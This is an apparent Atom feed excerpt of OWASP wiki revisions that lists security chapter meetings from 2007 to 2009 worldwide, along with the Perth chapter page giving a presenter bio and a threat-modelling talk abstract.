&lt;hr /&gt;
&lt;div&gt;This page is for people to post OWASP related events, such as chapter meetings, OWASP conferences, get-togethers, and OWASP sponsored events.&lt;br /&gt;
&lt;br /&gt;
Events from previous years are archived here:&lt;br /&gt;
* '''[[OWASP Community 2006]]'''&lt;br /&gt;
&lt;br /&gt;
This page is monitored, and items posted here will be copied to the OWASP Calendar [[Main Page]].  Please post new items in chronological order using the following format:&lt;br /&gt;
&lt;br /&gt;
 '''Mon ## (##:00h) - [[Article]]'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
CHAPTER LEADS -- please put your schedule here and we'll post a month in advance&lt;br /&gt;
&lt;br /&gt;
*** Belgium ***&lt;br /&gt;
&lt;br /&gt;
*** OTTAWA: Rough dates ***&lt;br /&gt;
&lt;br /&gt;
*** BOSTON: Every first Wednesday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** BOULDER: Every third Thursday of the month except Nov and Dec ***&lt;br /&gt;
&lt;br /&gt;
*** MELBOURNE: First Tuesday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** NETHERLANDS: Second Thursday of the month sometimes ***&lt;br /&gt;
&lt;br /&gt;
*** ROCHESTER: Every third Monday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** TORONTO: Every second Wednesday of the month&lt;br /&gt;
&lt;br /&gt;
*** VIRGINIA: Every second thursday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** SINGAPORE: Every first Thursday of the month ***&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Upcoming Events==&lt;br /&gt;
=== 2009 ===&lt;br /&gt;
&lt;br /&gt;
'''Mar 11 (17:30h) - [http://www.owasp.org/index.php/Perth_Australia#Upcoming_OWASP_Meeting Perth Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 10 (17:15h) - [http://www.owasp.org/index.php/Perth_Australia#Threat_Modelling_in_the_Software_Development_Lifecycle_.28Feb_2009.29 Perth Chapter Meeting]'''&lt;br /&gt;
=== 2008 ===&lt;br /&gt;
&lt;br /&gt;
'''Dec 11 (17:30h) -  [http://www.owasp.org/index.php/Netherlands#Announcement_December_11th_2008:_Architectural_and_design_risk_analysis Netherlands Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 3 (17:30h) - [https://www.owasp.org/index.php/Denmark#Local_News Denmark Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 22nd-25th - [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference NY/NJ Metro]'''&lt;br /&gt;
&lt;br /&gt;
'''Aug 21 (18:00h) - [http://www.owasp.org/index.php/Boulder#Next_Meeting Boulder Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
==Past Events==&lt;br /&gt;
&lt;br /&gt;
'''Dec 11 (18:00h) - [[Switzerland|Switzerland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 26 (17:30h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 29 (11:15h) - [[Helsinki|Helsinki chapter and RWSUG seminar]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 29 (11:30h) - [[Cincinnati|Cincinnati chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 20 (17:30h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 15 (11:00h) - [[Pune|Pune chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 12 (18:00h) - [[Chicago|Chicago chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 6 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 5 (18:00h) - [[Boston|Possible Boston OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Dec 3 (13:00h) - [[Israel|OWASP Israel 2007]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 29 (18:00h) -[[Seattle|Seattle Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 29 (18:00h) -[[Sacramento|Sacramento Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 26 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Nov 26 (09:30h) - [[Turkey|Turkey Chapter Meeting - Izmir]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 24 (13:30h) - [[Turkey|Turkey Chapter Meeting - Ankara]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 20 (18:00h) - [[Belgium|Belgium Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 14 (18:00h) - [[Ottawa|Ottawa Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 14 (18:00h) - [[Houston|Houston Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 11 (18:00h) - [[Ireland|Ireland Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 7 (18:00h) - [[Boston|Possible Boston OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 7 (19:00h) - [[Singapore|Singapore OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 3 (18:30h) - [[Malaysia|Malaysia OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Oct 9 (19:30h) - [[Singapore|Singapore OWASP chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Oct 2 (18:30h) - [[Helsinki|Helsinki chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 27 (1800h) - [[New York|NY/NJ Metro chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 27 (13:00h) - [[Taiwan|Taiwan chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 13 (18:00h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 10 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 7 (15:00h) [[Germany|German chapter meeting]]''' - Restart of the German Chapter&lt;br /&gt;
&lt;br /&gt;
'''Sept (12:00h) - [[Belgium|Belgium OWASP Day Event]] '''&lt;br /&gt;
&lt;br /&gt;
'''Sept 6 (18:00h) - [[Kansas_City|Kansas City Chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 5 (18:00h) - [[Chicago|Chicago Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 5 (17:00h) - [[Israel|Israeli chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 5 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 25 (18:00h) - [[San Jose|San Jose Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 24 (17:00h) - [[Switzerland|Switzerland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 14 (11:00h) - [[Turkey|Turkey chapter meeting - 1st Web Security Days]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 6 (17:00h) - [[Spain|Spain chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 26 (11:30h) - [[Austin|Austin chapter meeting]]''' - Running Web Application Scans&lt;br /&gt;
&lt;br /&gt;
'''June 22 (18:00h) - [[Belgium|Belgium chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 21 (19:00h) - [[Denver]]''' - Anti-DNS Pinning Attacks / Calculating Return on Security Investment (ROSI)&lt;br /&gt;
&lt;br /&gt;
'''June 19 (18:00h) - [[Minneapolis St Paul|Minneapolis St Paul chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 15 (17:00h) - [[Spain|Spain chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 14 (08:00h) - [[Vietnam|Vietnam chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 13 (18:30h) - [[Kansas City|Kansas City chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 12 (18:00h) - [[New York|NY/NJ Metro chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jun 5 (19:00h) - [[Helsinki|Helsinki chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jun 5 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jun 5 (17:30h) - [[Houston | Houston Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 29 (9:00h) - [[http://www.owasp.org/index.php/Italy#May_29th.2C_2007_-_Seminar:_.22Software_Security.22 Italy@Firenze Tecnologia]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 29 (11:30h) - [[Austin | Austin Chapter Meeting]]''' - Bullet Proof UI - A programmer's guide to the complete idiot&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
'''May 29 (18:00h) - [[Ottawa | Ottawa Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 22 (18:30h) - [[New Zealand|1st New Zealand chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 21 (14:00h) - [[Israel|2nd OWASP Israel mini conference]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 15 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 10 (18:00h) - [[Belgium|Belgium chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 9 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 8 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 6 (11:00h) - [[Turkey|Turkey chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 2 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 1 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 26 (11:00h) - [[San Antonio|San Antonio chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 26 (17:00h) - [[Switzerland|Switzerland chapter meeting and &amp;quot;Swiss Security Dinner&amp;quot;]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 24 (18:00h) - [[Minneapolis St Paul|Minneapolis St Paul chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 20 (19:00h) - [[Hong Kong|Hong Kong chapter meeting - Objectives for 2007]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 19 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 18 (17:00h) - [[San Francisco City Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 17 (18:00h) - [[New Jersey|NY/NJ Metro chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 17 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 12 (18:00h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 12 (18:00h) - [[San Jose|San Jose chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 11 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 4 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 3 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 30 - [[http://www.owasp.org/index.php/Italy#March_30th.2C_2007_-_Master_in_Security_-_University_of_Rome_.22La_Sapienza.22| Italy@Master in Security at &amp;quot;La Sapienza&amp;quot;]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 28 (18:00h) - [[Washington DC|Washington DC (MD) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 28 (11:30h) - [[San Antonio|San Antonio chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
; '''Mar 27-30 - [http://www.blackhat.com Black Hat Euro]'''&lt;br /&gt;
: OWASP members receive a Euro 100 Briefings discount by inserting BH7EUASSOC in the box marked “Coupon Codes”&lt;br /&gt;
&lt;br /&gt;
'''Mar 22 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 21-22 - [[Belgium#OWASP_Top_10_2007_Update_.28Infosecurity_Belgium.2C_21_.26_.2622_Mar_2007.29|Belgium@InfoSecurity]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 20 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 14 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 14 (18:00h) - [[Chicago|Chicago chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 13 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 8 (18:00h) - [[Ottawa|Ottawa Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Mar 7 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 7 (18:30h) - [[Kansas City|Kansas City chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 6 (18:30h) - [[Philadelphia|Philadelphia chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 6 (18:30h) - [[San Francisco|San Francisco and San Jose chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 6 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 5 (11:00h) - [[New Jersey|New Jersey chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 1 (11:30h) - [http://www.eusecwest.com/agenda.html EUSecWest 07: Testing Guide]'''&lt;br /&gt;
&lt;br /&gt;
; '''Feb 26-Mar 1 - [http://www.blackhat.com Black Hat DC]'''&lt;br /&gt;
: OWASP members receive a $100 Briefings discount by inserting BH7DCASSOC in the box marked “Coupon Codes”&lt;br /&gt;
&lt;br /&gt;
'''Feb 28 (18:00h) - [[Seattle|Seattle chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 27 (18:00h) - [[Edmonton|Edmonton chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 22 (18:30h) - [[Helsinki|Helsinki chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 22 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 21 (18:30h) - [[Denver|Denver chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 19 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 15 (18:00h) - [[Washington DC|Washington DC (MD) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 15 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 14 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 13 (18:00h) - [[Ireland|Ireland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 12 (18:30h) - [[Switzerland|Switzerland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 7 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 6-7 - [[Italy#February_6th-8th.2C_2007_-_InfoSecurity|Italy@InfoSecurity]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 6 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 2 (14:00h) - [[Chennai|Chennai chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 31 (15:00h) - [[Mumbai|Mumbai chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 30 (11:30h) - [[Austin|Austin chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 25 (18:00h) - [[San Francisco| San Francisco chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 25 (14:30h) - [[Italy#October_25th.2C_2007_-_Isaca_Rome|Italy@ISACA Rome]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 24 (17:30h) - [[Israel#6th_OWASP_IL_meeting:_Wednesday.2C_January_24th_2007|6th OWASP Israel chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 23 (18:00h) - [[Belgium|Belgium chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 22 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 17 (18:30h) - [[Denver|Denver chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 16 (17:45h) - [[Edmonton|Edmonton chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 11 (18:00h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 11 (18:30h) - [[Phoenix|Phoenix chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 11 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 10 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 8 (18:00h) - [[Seattle|Seattle chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 3 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 1 - [[Melbourne | Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 2 - [[Boston]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 6 - [[Turkey]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 8 - [[Virginia (Northern Virginia)|Washington DC (VA)]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 9 - [[Toronto]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 10 - [[Belgium]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 15 - [[Rochester]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 21 - [[Israel]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 22 - [[New Zealand]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 29 - [[Italy]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 5 - [[Houston]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 5 - [[Melbourne]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 5 - [[Helsinki]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 12 - [[New Jersey]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 15 - [[Spain]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 14 - [[Turkey]]'''&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=55987</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=55987"/>
				<updated>2009-03-04T00:36:55Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Meeting ==&lt;br /&gt;
&lt;br /&gt;
=== Title: TBA ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Wade Alcorn is a Principal Security Consultant for NGSSoftware working in all aspects of computer security. He has managed one the largest penetration testing teams in the UK and is currently involved within management in NGS Australia. His technical experience over the past 10 years has ranged from developing/designing PKI and military messaging software, to managing large scale penetration assessments.&lt;br /&gt;
&lt;br /&gt;
Wade has developed various publicly available security tools in areas including browser exploitation frameworks, RFID and BlueTooth. He has produced and presented professional hacking courses for financial and government organisations.&lt;br /&gt;
&lt;br /&gt;
Wade has also published leading papers on emerging threats within Information Security. These have included papers on Inter-protocol Exploitation and Cross-site Scripting Viruses. His Cross-site Scripting Virus paper was the first research to warn of the serious impact this threat would have on the Internet.&lt;br /&gt;
&lt;br /&gt;
 '''Date: Wednesday, 11 March 2009'''&lt;br /&gt;
 '''Location: Edith Cowan University, Mt Lawley'''&lt;br /&gt;
 '''Time: 5:30pm'''&lt;br /&gt;
 '''RSVP: by 9 March 2009 to [mailto:david.taylor@bankwest.com.au David Taylor]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 4/03/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Community&amp;diff=51840</id>
		<title>OWASP Community</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Community&amp;diff=51840"/>
				<updated>2009-01-23T00:35:12Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page is for people to post OWASP related events, such as chapter meetings, OWASP conferences, get-togethers, and OWASP sponsored events.&lt;br /&gt;
&lt;br /&gt;
Events from previous years are archived here:&lt;br /&gt;
* '''[[OWASP Community 2006]]'''&lt;br /&gt;
&lt;br /&gt;
This page is monitored, and items posted here will be copied to the OWASP Calendar [[Main Page]].  Please post new items in chronological order using the following format:&lt;br /&gt;
&lt;br /&gt;
 '''Mon ## (##:00h) - [[Article]]'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
CHAPTER LEADS -- please put your schedule here and we'll post a month in advance&lt;br /&gt;
&lt;br /&gt;
*** Belgium ***&lt;br /&gt;
&lt;br /&gt;
*** OTTAWA: Rough dates ***&lt;br /&gt;
&lt;br /&gt;
*** BOSTON: Every first Wednesday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** BOULDER: Every third Thursday of the month except Nov and Dec ***&lt;br /&gt;
&lt;br /&gt;
*** MELBOURNE: First Tuesday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** NETHERLANDS: Second Thursday of the month sometimes ***&lt;br /&gt;
&lt;br /&gt;
*** ROCHESTER: Every third Monday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** TORONTO: Every second Wednesday of the month&lt;br /&gt;
&lt;br /&gt;
*** VIRGINIA: Every second thursday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** SINGAPORE: Every first Thursday of the month ***&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Upcoming Events==&lt;br /&gt;
=== 2009 ===&lt;br /&gt;
&lt;br /&gt;
'''Feb 10 (17:15h) - [http://www.owasp.org/index.php/Perth_Australia#Upcoming_OWASP_Meeting Perth Chapter Meeting]'''&lt;br /&gt;
=== 2008 ===&lt;br /&gt;
&lt;br /&gt;
'''Dec 11 (17:30h) -  [http://www.owasp.org/index.php/Netherlands#Announcement_December_11th_2008:_Architectural_and_design_risk_analysis Netherlands Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 3 (17:30h) - [https://www.owasp.org/index.php/Denmark#Local_News Denmark Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 22nd-25th - [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference NY/NJ Metro]'''&lt;br /&gt;
&lt;br /&gt;
'''Aug 21 (18:00h) - [http://www.owasp.org/index.php/Boulder#Next_Meeting Boulder Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
==Past Events==&lt;br /&gt;
&lt;br /&gt;
'''Dec 11 (18:00h) - [[Switzerland|Switzerland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 26 (17:30h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 29 (11:15h) - [[Helsinki|Helsinki chapter and RWSUG seminar]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 29 (11:30h) - [[Cincinnati|Cincinnati chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 20 (17:30h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 15 (11:00h) - [[Pune|Pune chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 12 (18:00h) - [[Chicago|Chicago chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 6 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 5 (18:00h) - [[Boston|Possible Boston OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Dec 3 (13:00h) - [[Israel|OWASP Israel 2007]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 29 (18:00h) -[[Seattle|Seattle Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 29 (18:00h) -[[Sacramento|Sacramento Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 26 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Nov 26 (09:30h) - [[Turkey|Turkey Chapter Meeting - Izmir]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 24 (13:30h) - [[Turkey|Turkey Chapter Meeting - Ankara]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 20 (18:00h) - [[Belgium|Belgium Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 14 (18:00h) - [[Ottawa|Ottawa Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 14 (18:00h) - [[Houston|Houston Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 11 (18:00h) - [[Ireland|Ireland Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 7 (18:00h) - [[Boston|Possible Boston OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 7 (19:00h) - [[Singapore|Singapore OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 3 (18:30h) - [[Malaysia|Malaysia OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Oct 9 (19:30h) - [[Singapore|Singapore OWASP chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Oct 2 (18:30h) - [[Helsinki|Helsinki chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 27 (1800h) - [[New York|NY/NJ Metro chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 27 (13:00h) - [[Taiwan|Taiwan chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 13 (18:00h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 10 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 7 (15:00h) [[Germany|German chapter meeting]]''' - Restart of the German Chapter&lt;br /&gt;
&lt;br /&gt;
